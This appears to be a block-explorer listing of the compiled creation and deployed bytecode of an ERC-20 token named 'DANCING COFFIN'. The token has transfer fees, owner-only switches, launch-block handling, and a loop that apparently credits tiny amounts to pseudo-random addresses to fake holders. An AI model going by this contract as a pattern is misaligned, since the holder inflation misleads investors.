46001600160a01b031916918516919091179055600e54600d54600c546200037f929162000378919062000553565b9062000553565b6018556012546011546010546200039d929162000378919062000553565b601955601654601554601454620003bb929162000378919062000553565b601755602480546001600160a01b038084166001600160a01b03199092168217909255601c8054305f818152600760209081526040808320968352958152858220939093558a861680825260088452858220805460ff1990811660019081179092558484528784208054821683179055828452600986528784208054821683179055602580548a16855288852080548316841790558585528885208054831684179055600580548b1686528986208054841685179055848652600a88528986208054841685179055548a16855288852080548316841790559484528784208054821683179055935488168352600b855286832080549094161790925592549083526006909152828220559051918416913480156108fc0292909190818181858888f19350505050158015620004f2573d5f803e3d5ffd5b50846001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601c546040516200053b91815260200190565b60405180910390a35050505050505050505062000a42565b5f8062000561838562000a2c565b905083811015620005b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112620005e5575f80fd5b81516001600160401b0380821115620006025762000602620005c1565b604051601f8301601f19908116603f011681019082821181831017156200062d576200062d620005c1565b8160405283815260209250868385880101111562000649575f80fd5b5f91505b838210156200066c57858201830151818301840152908201906200064d565b5f93810190920192909252949350505050565b80516001600160a01b038116811462000696575f80fd5b919050565b5f805f805f805f805f6101208a8c031215620006b5575f80fd5b89516001600160401b0380821115620006cc575f80fd5b620006da8d838e01620005d5565b9a5060208c0151915080821115620006f0575f80fd5b50620006ff8c828d01620005d5565b98505060408a015160ff8116811462000716575f80fd5b60608b015190975095506200072e60808b016200067f565b94506200073e60a08b016200067f565b93506200074e60c08b016200067f565b92506200075e60e08b016200067f565b91506200076f6101008b016200067f565b90509295985092959850929598565b5f602082840312156200078f575f80fd5b6200079a826200067f565b9392505050565b600181811c90821680620007b657607f821691505b602082108103620007d557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000828575f81815260208120601f850160051c81016020861015620008035750805b601f850160051c820191505b8181101562000824578281556001016200080f565b5050505b505050565b81516001600160401b03811115620008495762000849620005c1565b62000861816200085a8454620007a1565b84620007db565b602080601f83116001811462000897575f84156200087f5750858301515b5f19600386901b1c1916600185901b17855562000824565b5f85815260208120601f198616915b82811015620008c757888601518255948401946001909101908401620008a6565b5085821015620008e557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200094957815f19048211156200092d576200092d620008f5565b808516156200093b57918102915b93841c93908002906200090e565b509250929050565b5f826200096157506001620005bb565b816200096f57505f620005bb565b81600181146200098857600281146200099357620009b3565b6001915050620005bb565b60ff841115620009a757620009a7620008f5565b50506001821b620005bb565b5060208310610133831016604e8410600b8410161715620009d8575081810a620005bb565b620009e4838362000909565b805f1904821115620009fa57620009fa620008f5565b029392505050565b5f6200079a60ff84168362000951565b8082028115828204841417620005bb57620005bb620008f5565b80820180821115620005bb57620005bb620008f5565b6122908062000a505f395ff3fe608060405260043610610369575f3560e01c806388790a68116101c8578063c5d24189116100fd578063dc44b6a01161009d578063f2fde38b1161006d578063f2fde38b1461098d578063f872858a146109ac578063f88de0c3146109cc578063fb1eb14b146109ea575f80fd5b8063dc44b6a01461090a578063dd62ed3e1461091f578063e32759cf14610963578063f0cd1dac14610978575f80fd5b8063c867d60b116100d8578063c867d60b14610883578063cab03471146108b1578063d158272d146108c6578063da00097d146108ea575f80fd5b8063c5d241891461083a578063c816841b1461084f578063c86079521461086e575f80fd5b8063a457c2d711610168578063a9059cbb11610143578063a9059cbb146107c9578063b2bdfa7b146107e8578063c469b6dd14610806578063c49b9a801461081b575f80fd5b8063a457c2d714610776578063a5d69d1f14610795578063a83f53a7146107b4575f80fd5b806395d89b41116101a357806395d89b4114610724578063993945ac14610738578063a073d37f1461074d578063a08e671f14610761575f80fd5b806388790a68146106c55780638b42507f146106da5780638da5cb5b14610708575f80fd5b80633df4ddf41161029e57806361a23c691161023e5780637d1db4a5116102195780637d1db4a514610667578063807c2d9c1461067c57806382eefb4314610691578063844d591c146106a6575f80fd5b806361a23c691461060a5780636e4ee8111461061f57806370a0823114610633575f80fd5b80634a74bb02116102795780634a74bb02146105955780635342acb4146105b5578063557ed1ba146105e357806357a5802f146105f5575f80fd5b80633df4ddf41461053d5780633ecad2711461055257806341c0e1b514610580575f80fd5b806327c8f83511610309578063313ce567116102e4578063313ce567146104c957806337e5ccf7146104ea57806339509351146104ff5780633b97084a1461051e575f80fd5b806327c8f83514610481578063297ac6de146104a05780632b112e49146104b5575f80fd5b80631694505e116103445780631694505e1461040457806318160ddd146104235780631870517a1461044157806323b872dd14610462575f80fd5b806306fdde0314610374578063095ea7b31461039e5780631245e347146103cd575f80fd5b3661037057005b5f80fd5b34801561037f575f80fd5b506103886109ff565b6040516103959190611e45565b60405180910390f35b3480156103a9575f80fd5b506103bd6103b8366004611ea7565b610a8f565b6040519015158152602001610395565b3480156103d8575f80fd5b506004546103ec906001600160a01b031681565b6040516001600160a01b039091168152602001610395565b34801561040f575f80fd5b506024546103ec906001600160a01b031681565b34801561042e575f80fd5b50601c545b604051908152602001610395565b34801561044c575f80fd5b5061046061045b366004611ed1565b610aa5565b005b34801561046d575f80fd5b506103bd61047c366004611efa565b610b07565b34801561048c575f80fd5b506005546103ec906001600160a01b031681565b3480156104ab575f80fd5b5061043360135481565b3480156104c0575f80fd5b50610433610b70565b3480156104d4575f80fd5b5060035460405160ff9091168152602001610395565b3480156104f5575f80fd5b50610433600f5481565b34801561050a575f80fd5b506103bd610519366004611ea7565b610b9b565b348015610529575f80fd5b50610460610538366004611f38565b610bd0565b348015610548575f80fd5b5061043360225481565b34801561055d575f80fd5b506103bd61056c366004611f4f565b600b6020525f908152604090205460ff1681565b34801561058b575f80fd5b5061043360235481565b3480156105a0575f80fd5b506025546103bd90600160a81b900460ff1681565b3480156105c0575f80fd5b506103bd6105cf366004611f4f565b60086020525f908152604090205460ff1681565b3480156105ee575f80fd5b5042610433565b348015610600575f80fd5b5061043360145481565b348015610615575f80fd5b5061043360155481565b34801561062a575f80fd5b50610460610bfe565b34801561063e575f80fd5b5061043361064d366004611f4f565b6001600160a01b03165f9081526006602052604090205490565b348015610672575f80fd5b50610433601d5481565b348015610687575f80fd5b50610433601e5481565b34801561069c575f80fd5b5061043360195481565b3480156106b1575f80fd5b506104606106c0366004611f7e565b610c6f565b3480156106d0575f80fd5b5061043360105481565b3480156106e5575f80fd5b506103bd6106f4366004611f4f565b600a6020525f908152604090205460ff1681565b348015610713575f80fd5b505f546001600160a01b03166103ec565b34801561072f575f80fd5b50610388610cc2565b348015610743575f80fd5b50610433601b5481565b348015610758575f80fd5b50601f54610433565b34801561076c575f80fd5b5061043360175481565b348015610781575f80fd5b506103bd610790366004611ea7565b610cd1565b3480156107a0575f80fd5b506104606107af366004611fb1565b610d1e565b3480156107bf575f80fd5b5061043360165481565b3480156107d4575f80fd5b506103bd6107e3366004611ea7565b610d65565b3480156107f3575f80fd5b505f546103ec906001600160a01b031681565b348015610811575f80fd5b50610433600e5481565b348015610826575f80fd5b50610460610835366004611fb1565b610d71565b348015610845575f80fd5b50610433600d5481565b34801561085a575f80fd5b506025546103ec906001600160a01b031681565b348015610879575f80fd5b5061043360115481565b34801561088e575f80fd5b506103bd61089d366004611f4f565b60096020525f908152604090205460ff1681565b3480156108bc575f80fd5b5061043360125481565b3480156108d1575f80fd5b506003546103ec9061010090046001600160a01b031681565b3480156108f5575f80fd5b506025546103bd90600160b01b900460ff1681565b348015610915575f80fd5b50610433600c5481565b34801561092a575f80fd5b50610433610939366004611fca565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561096e575f80fd5b5061043360205481565b348015610983575f80fd5b5061043360185481565b348015610998575f80fd5b506104606109a7366004611f4f565b610df2565b3480156109b7575f80fd5b506025546103bd90600160b81b900460ff1681565b3480156109d7575f80fd5b506104606021805460ff60a01b19169055565b3480156109f5575f80fd5b50610433601a5481565b606060018054610a0e90612001565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3a90612001565b8015610a855780601f10610a5c57610100808354040283529160200191610a85565b820191905f5260205f20905b815481529060010190602001808311610a6857829003601f168201915b5050505050905090565b5f610a9b338484610ed9565b5060015b92915050565b5f546001600160a01b03163314610ad75760405162461bcd60e51b8152600401610ace90612039565b60405180910390fd5b600c839055600d829055600e819055600f54610aff90610af983818787610ffc565b90610ffc565b601855505050565b5f610b1384848461105a565b50610b658433610b60856040518060600160405280602881526020016121ee602891396001600160a01b038a165f90815260076020908152604080832033845290915290205491906114f0565b610ed9565b5060015b9392505050565b6005546001600160a01b03165f90815260066020526040812054601c54610b9691611528565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610a9b918590610b609086610ffc565b5f546001600160a01b03163314610bf95760405162461bcd60e51b8152600401610ace90612039565b601f55565b5f546001600160a01b03163314610c275760405162461bcd60e51b8152600401610ace90612039565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610c985760405162461bcd60e51b8152600401610ace90612039565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b606060028054610a0e90612001565b5f610a9b3384610b608560405180606001604052806025815260200161223660259139335f9081526007602090815260408083206001600160a01b038d16845290915290205491906114f0565b5f546001600160a01b03163314610d475760405162461bcd60e51b8152600401610ace90612039565b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f610b6533848461105a565b5f546001600160a01b03163314610d9a5760405162461bcd60e51b8152600401610ace90612039565b60258054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610de790831515815260200190565b60405180910390a150565b5f546001600160a01b03163314610e1b5760405162461bcd60e51b8152600401610ace90612039565b6001600160a01b038116610e805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ace565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ace565b6001600160a01b038216610f9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ace565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f806110088385612082565b905083811015610b695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ace565b5f6001600160a01b0384166110bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ace565b6001600160a01b0383166111215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ace565b5f82116111825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610ace565b6025546001600160a01b0384811691161480156111b657506025546001600160a01b03165f90815260066020526040902054155b156111c057436022555b6025546001600160a01b0385811691161480156111eb57506023546022546111e89190612082565b43105b1561120f576021546112089085906001600160a01b031684611569565b9050610b69565b602554600160a01b900460ff161561122c57611208848484611569565b6001600160a01b0384165f908152600a602052604090205460ff1615801561126c57506001600160a01b0383165f908152600a602052604090205460ff16155b156112d457601d548211156112d45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ace565b305f90815260066020526040902054601f54811080159081906113015750602554600160a01b900460ff16155b801561132557506001600160a01b0386165f908152600b602052604090205460ff16155b801561133a5750602554600160a81b900460ff165b1561136057602554600160b01b900460ff161561135757601f5491505b61136082611639565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f908152600690915291909120546113b19186906114f0565b6001600160a01b0387165f90815260066020908152604080832093909355600890529081205460ff16806113fc57506001600160a01b0386165f9081526008602052604090205460ff165b6114105761140b87878761176c565b611412565b845b602554909150600160b81b900460ff16801561144657506001600160a01b0386165f9081526009602052604090205460ff16155b1561147a57601e5461147082610af9896001600160a01b03165f9081526006602052604090205490565b111561147a575f80fd5b6001600160a01b0386165f9081526006602052604090205461149c9082610ffc565b6001600160a01b038088165f8181526006602052604090819020939093559151908916905f80516020612216833981519152906114dc9085815260200190565b60405180910390a360019350505050610b69565b5f81848411156115135760405162461bcd60e51b8152600401610ace9190611e45565b505f61151f8486612095565b95945050505050565b5f610b6983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114f0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f9081526006909152918220546115b99184906114f0565b6001600160a01b038086165f9081526006602052604080822093909355908516815220546115e79083610ffc565b6001600160a01b038085165f8181526006602052604090819020939093559151908616905f80516020612216833981519152906116279086815260200190565b60405180910390a35060019392505050565b6025805460ff60a01b1916600160a01b1790556017546014545f9161166e916002916116689182908790611a56565b90611ad4565b90505f61167b8383611528565b905061168681611b15565b60145447905f906116a59061169c906002611ad4565b60175490611528565b90505f6116c660026116688461166860145488611a5690919063ffffffff16565b90505f6116e28361166860165487611a5690919063ffffffff16565b90505f6116f9826116f38786611528565b90611528565b9050801561171c5760035461171c9061010090046001600160a01b031682611c9e565b811561173857600454611738906001600160a01b031683611c9e565b5f8311801561174657505f87115b15611755576117558784611cd6565b50506025805460ff60a01b19169055505050505050565b6001600160a01b0383165f908152600b602052604081205481908190819060ff16156117fe576117b860646116686117b1600f5460185461152890919063ffffffff16565b8890611a56565b92505f600f541180156117ce5750601b54601a54105b156117f9576117ed6064611668600f5488611a5690919063ffffffff16565b91506117f98783611d86565b6118b3565b6001600160a01b0386165f908152600b602052604090205460ff16156118b357602154600160a01b900460ff16151560010361185b576118546103e86116686117b160135460195461152890919063ffffffff16565b9250611874565b602154600160a01b900460ff1615155f03611874578492505b5f6013541180156118885750601b54601a54105b156118b3576118a7606461166860135488611a5690919063ffffffff16565b91506118b38783611d86565b6001600160a01b0387165f908152600b602052604090205460ff16806118f057506001600160a01b0386165f908152600b602052604090205460ff165b156119ce57602054156119ce575f805b6020548110156119bb57604080516020810183905290810188905242606082015260800160408051601f1981840301815291815281516020928301206001600160a01b0381165f9081526006909352912054909250611960906001610ffc565b6001600160a01b038084165f8181526006602052604090819020939093559151908b16905f80516020612216833981519152906119a1906001815260200190565b60405180910390a3806119b3816120a8565b915050611900565b506020546119ca9060016120c0565b9150505b8215611a3357305f908152600660205260409020546119ed9084610ffc565b305f81815260066020526040908190209290925590516001600160a01b038916905f8051602061221683398151915290611a2a9087815260200190565b60405180910390a35b611a4b611a4482610af98686610ffc565b8690611528565b979650505050505050565b5f825f03611a6557505f610a9f565b5f611a7083856120c0565b905082611a7d85836120d7565b14610b695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ace565b5f610b6983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e19565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611b4857611b486120f6565b6001600160a01b03928316602091820292909201810191909152602454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bc3919061210a565b81600181518110611bd657611bd66120f6565b6001600160a01b039283166020918202929092010152602454611bfc9130911684610ed9565b60245460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c349085905f90869030904290600401612167565b5f604051808303815f87803b158015611c4b575f80fd5b505af1158015611c5d573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611c929291906121a2565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611cd1573d5f803e3d5ffd5b505050565b602454611cee9030906001600160a01b031684610ed9565b6024805460215460405163f305d71960e01b81523060048201529283018590525f6044840181905260648401526001600160a01b0390811660848401524260a4840152169063f305d71990839060c40160606040518083038185885af1158015611d5a573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d7f91906121c2565b5050505050565b601b54601a5410611d95575050565b6005546001600160a01b03165f90815260066020526040902054611db99082610ffc565b6005546001600160a01b03165f90815260066020526040902055601a54611de09082610ffc565b601a556005546040518281526001600160a01b03918216918416905f805160206122168339815191529060200160405180910390a35050565b5f8183611e395760405162461bcd60e51b8152600401610ace9190611e45565b505f61151f84866120d7565b5f6020808352835180828501525f5b81811015611e7057858101830151858201604001528201611e54565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611ea4575f80fd5b50565b5f8060408385031215611eb8575f80fd5b8235611ec381611e90565b946020939093013593505050565b5f805f60608486031215611ee3575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611f0c575f80fd5b8335611f1781611e90565b92506020840135611f2781611e90565b929592945050506040919091013590565b5f60208284031215611f48575f80fd5b5035919050565b5f60208284031215611f5f575f80fd5b8135610b6981611e90565b80358015158114611f79575f80fd5b919050565b5f8060408385031215611f8f575f80fd5b8235611f9a81611e90565b9150611fa860208401611f6a565b90509250929050565b5f60208284031215611fc1575f80fd5b610b6982611f6a565b5f8060408385031215611fdb575f80fd5b8235611fe681611e90565b91506020830135611ff681611e90565b809150509250929050565b600181811c9082168061201557607f821691505b60208210810361203357634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610a9f57610a9f61206e565b81810381811115610a9f57610a9f61206e565b5f600182016120b9576120b961206e565b5060010190565b8082028115828204841417610a9f57610a9f61206e565b5f826120f157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561211a575f80fd5b8151610b6981611e90565b5f8151808452602080850194508084015f5b8381101561215c5781516001600160a01b031687529582019590820190600101612137565b509495945050505050565b85815284602082015260a060408201525f61218560a0830186612125565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6121ba6040830184612125565b949350505050565b5f805f606084860312156121d4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122049cb1e4787d6e036bdf667e96bdaaf7ced6814fc632c658b208ea90ceddf31a664736f6c634300081400330000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000001029c123000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f60000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f60000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f60000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f6000000000000000000000000000000000000000000000000000000000000000e44414e43494e4720434f4646494e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006434f4646494e0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405260043610610369575f3560e01c806388790a68116101c8578063c5d24189116100fd578063dc44b6a01161009d578063f2fde38b1161006d578063f2fde38b1461098d578063f872858a146109ac578063f88de0c3146109cc578063fb1eb14b146109ea575f80fd5b8063dc44b6a01461090a578063dd62ed3e1461091f578063e32759cf14610963578063f0cd1dac14610978575f80fd5b8063c867d60b116100d8578063c867d60b14610883578063cab03471146108b1578063d158272d146108c6578063da00097d146108ea575f80fd5b8063c5d241891461083a578063c816841b1461084f578063c86079521461086e575f80fd5b8063a457c2d711610168578063a9059cbb11610143578063a9059cbb146107c9578063b2bdfa7b146107e8578063c469b6dd14610806578063c49b9a801461081b575f80fd5b8063a457c2d714610776578063a5d69d1f14610795578063a83f53a7146107b4575f80fd5b806395d89b41116101a357806395d89b4114610724578063993945ac14610738578063a073d37f1461074d578063a08e671f14610761575f80fd5b806388790a68146106c55780638b42507f146106da5780638da5cb5b14610708575f80fd5b80633df4ddf41161029e57806361a23c691161023e5780637d1db4a5116102195780637d1db4a514610667578063807c2d9c1461067c57806382eefb4314610691578063844d591c146106a6575f80fd5b806361a23c691461060a5780636e4ee8111461061f57806370a0823114610633575f80fd5b80634a74bb02116102795780634a74bb02146105955780635342acb4146105b5578063557ed1ba146105e357806357a5802f146105f5575f80fd5b80633df4ddf41461053d5780633ecad2711461055257806341c0e1b514610580575f80fd5b806327c8f83511610309578063313ce567116102e4578063313ce567146104c957806337e5ccf7146104ea57806339509351146104ff5780633b97084a1461051e575f80fd5b806327c8f83514610481578063297ac6de146104a05780632b112e49146104b5575f80fd5b80631694505e116103445780631694505e1461040457806318160ddd146104235780631870517a1461044157806323b872dd14610462575f80fd5b806306fdde0314610374578063095ea7b31461039e5780631245e347146103cd575f80fd5b3661037057005b5f80fd5b34801561037f575f80fd5b506103886109ff565b6040516103959190611e45565b60405180910390f35b3480156103a9575f80fd5b506103bd6103b8366004611ea7565b610a8f565b6040519015158152602001610395565b3480156103d8575f80fd5b506004546103ec906001600160a01b031681565b6040516001600160a01b039091168152602001610395565b34801561040f575f80fd5b506024546103ec906001600160a01b031681565b34801561042e575f80fd5b50601c545b604051908152602001610395565b34801561044c575f80fd5b5061046061045b366004611ed1565b610aa5565b005b34801561046d575f80fd5b506103bd61047c366004611efa565b610b07565b34801561048c575f80fd5b506005546103ec906001600160a01b031681565b3480156104ab575f80fd5b5061043360135481565b3480156104c0575f80fd5b50610433610b70565b3480156104d4575f80fd5b5060035460405160ff9091168152602001610395565b3480156104f5575f80fd5b50610433600f5481565b34801561050a575f80fd5b506103bd610519366004611ea7565b610b9b565b348015610529575f80fd5b50610460610538366004611f38565b610bd0565b348015610548575f80fd5b5061043360225481565b34801561055d575f80fd5b506103bd61056c366004611f4f565b600b6020525f908152604090205460ff1681565b34801561058b575f80fd5b5061043360235481565b3480156105a0575f80fd5b506025546103bd90600160a81b900460ff1681565b3480156105c0575f80fd5b506103bd6105cf366004611f4f565b60086020525f908152604090205460ff1681565b3480156105ee575f80fd5b5042610433565b348015610600575f80fd5b5061043360145481565b348015610615575f80fd5b5061043360155481565b34801561062a575f80fd5b50610460610bfe565b34801561063e575f80fd5b5061043361064d366004611f4f565b6001600160a01b03165f9081526006602052604090205490565b348015610672575f80fd5b50610433601d5481565b348015610687575f80fd5b50610433601e5481565b34801561069c575f80fd5b5061043360195481565b3480156106b1575f80fd5b506104606106c0366004611f7e565b610c6f565b3480156106d0575f80fd5b5061043360105481565b3480156106e5575f80fd5b506103bd6106f4366004611f4f565b600a6020525f908152604090205460ff1681565b348015610713575f80fd5b505f546001600160a01b03166103ec565b34801561072f575f80fd5b50610388610cc2565b348015610743575f80fd5b50610433601b5481565b348015610758575f80fd5b50601f54610433565b34801561076c575f80fd5b5061043360175481565b348015610781575f80fd5b506103bd610790366004611ea7565b610cd1565b3480156107a0575f80fd5b506104606107af366004611fb1565b610d1e565b3480156107bf575f80fd5b5061043360165481565b3480156107d4575f80fd5b506103bd6107e3366004611ea7565b610d65565b3480156107f3575f80fd5b505f546103ec906001600160a01b031681565b348015610811575f80fd5b50610433600e5481565b348015610826575f80fd5b50610460610835366004611fb1565b610d71565b348015610845575f80fd5b50610433600d5481565b34801561085a575f80fd5b506025546103ec906001600160a01b031681565b348015610879575f80fd5b5061043360115481565b34801561088e575f80fd5b506103bd61089d366004611f4f565b60096020525f908152604090205460ff1681565b3480156108bc575f80fd5b5061043360125481565b3480156108d1575f80fd5b506003546103ec9061010090046001600160a01b031681565b3480156108f5575f80fd5b506025546103bd90600160b01b900460ff1681565b348015610915575f80fd5b50610433600c5481565b34801561092a575f80fd5b50610433610939366004611fca565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b34801561096e575f80fd5b5061043360205481565b348015610983575f80fd5b5061043360185481565b348015610998575f80fd5b506104606109a7366004611f4f565b610df2565b3480156109b7575f80fd5b506025546103bd90600160b81b900460ff1681565b3480156109d7575f80fd5b506104606021805460ff60a01b19169055565b3480156109f5575f80fd5b50610433601a5481565b606060018054610a0e90612001565b80601f0160208091040260200160405190810160405280929190818152602001828054610a3a90612001565b8015610a855780601f10610a5c57610100808354040283529160200191610a85565b820191905f5260205f20905b815481529060010190602001808311610a6857829003601f168201915b5050505050905090565b5f610a9b338484610ed9565b5060015b92915050565b5f546001600160a01b03163314610ad75760405162461bcd60e51b8152600401610ace90612039565b60405180910390fd5b600c839055600d829055600e819055600f54610aff90610af983818787610ffc565b90610ffc565b601855505050565b5f610b1384848461105a565b50610b658433610b60856040518060600160405280602881526020016121ee602891396001600160a01b038a165f90815260076020908152604080832033845290915290205491906114f0565b610ed9565b5060015b9392505050565b6005546001600160a01b03165f90815260066020526040812054601c54610b9691611528565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610a9b918590610b609086610ffc565b5f546001600160a01b03163314610bf95760405162461bcd60e51b8152600401610ace90612039565b601f55565b5f546001600160a01b03163314610c275760405162461bcd60e51b8152600401610ace90612039565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610c985760405162461bcd60e51b8152600401610ace90612039565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b606060028054610a0e90612001565b5f610a9b3384610b608560405180606001604052806025815260200161223660259139335f9081526007602090815260408083206001600160a01b038d16845290915290205491906114f0565b5f546001600160a01b03163314610d475760405162461bcd60e51b8152600401610ace90612039565b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f610b6533848461105a565b5f546001600160a01b03163314610d9a5760405162461bcd60e51b8152600401610ace90612039565b60258054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610de790831515815260200190565b60405180910390a150565b5f546001600160a01b03163314610e1b5760405162461bcd60e51b8152600401610ace90612039565b6001600160a01b038116610e805760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ace565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ace565b6001600160a01b038216610f9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ace565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f806110088385612082565b905083811015610b695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ace565b5f6001600160a01b0384166110bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ace565b6001600160a01b0383166111215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ace565b5f82116111825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610ace565b6025546001600160a01b0384811691161480156111b657506025546001600160a01b03165f90815260066020526040902054155b156111c057436022555b6025546001600160a01b0385811691161480156111eb57506023546022546111e89190612082565b43105b1561120f576021546112089085906001600160a01b031684611569565b9050610b69565b602554600160a01b900460ff161561122c57611208848484611569565b6001600160a01b0384165f908152600a602052604090205460ff1615801561126c57506001600160a01b0383165f908152600a602052604090205460ff16155b156112d457601d548211156112d45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ace565b305f90815260066020526040902054601f54811080159081906113015750602554600160a01b900460ff16155b801561132557506001600160a01b0386165f908152600b602052604090205460ff16155b801561133a5750602554600160a81b900460ff165b1561136057602554600160b01b900460ff161561135757601f5491505b61136082611639565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f908152600690915291909120546113b19186906114f0565b6001600160a01b0387165f90815260066020908152604080832093909355600890529081205460ff16806113fc57506001600160a01b0386165f9081526008602052604090205460ff165b6114105761140b87878761176c565b611412565b845b602554909150600160b81b900460ff16801561144657506001600160a01b0386165f9081526009602052604090205460ff16155b1561147a57601e5461147082610af9896001600160a01b03165f9081526006602052604090205490565b111561147a575f80fd5b6001600160a01b0386165f9081526006602052604090205461149c9082610ffc565b6001600160a01b038088165f8181526006602052604090819020939093559151908916905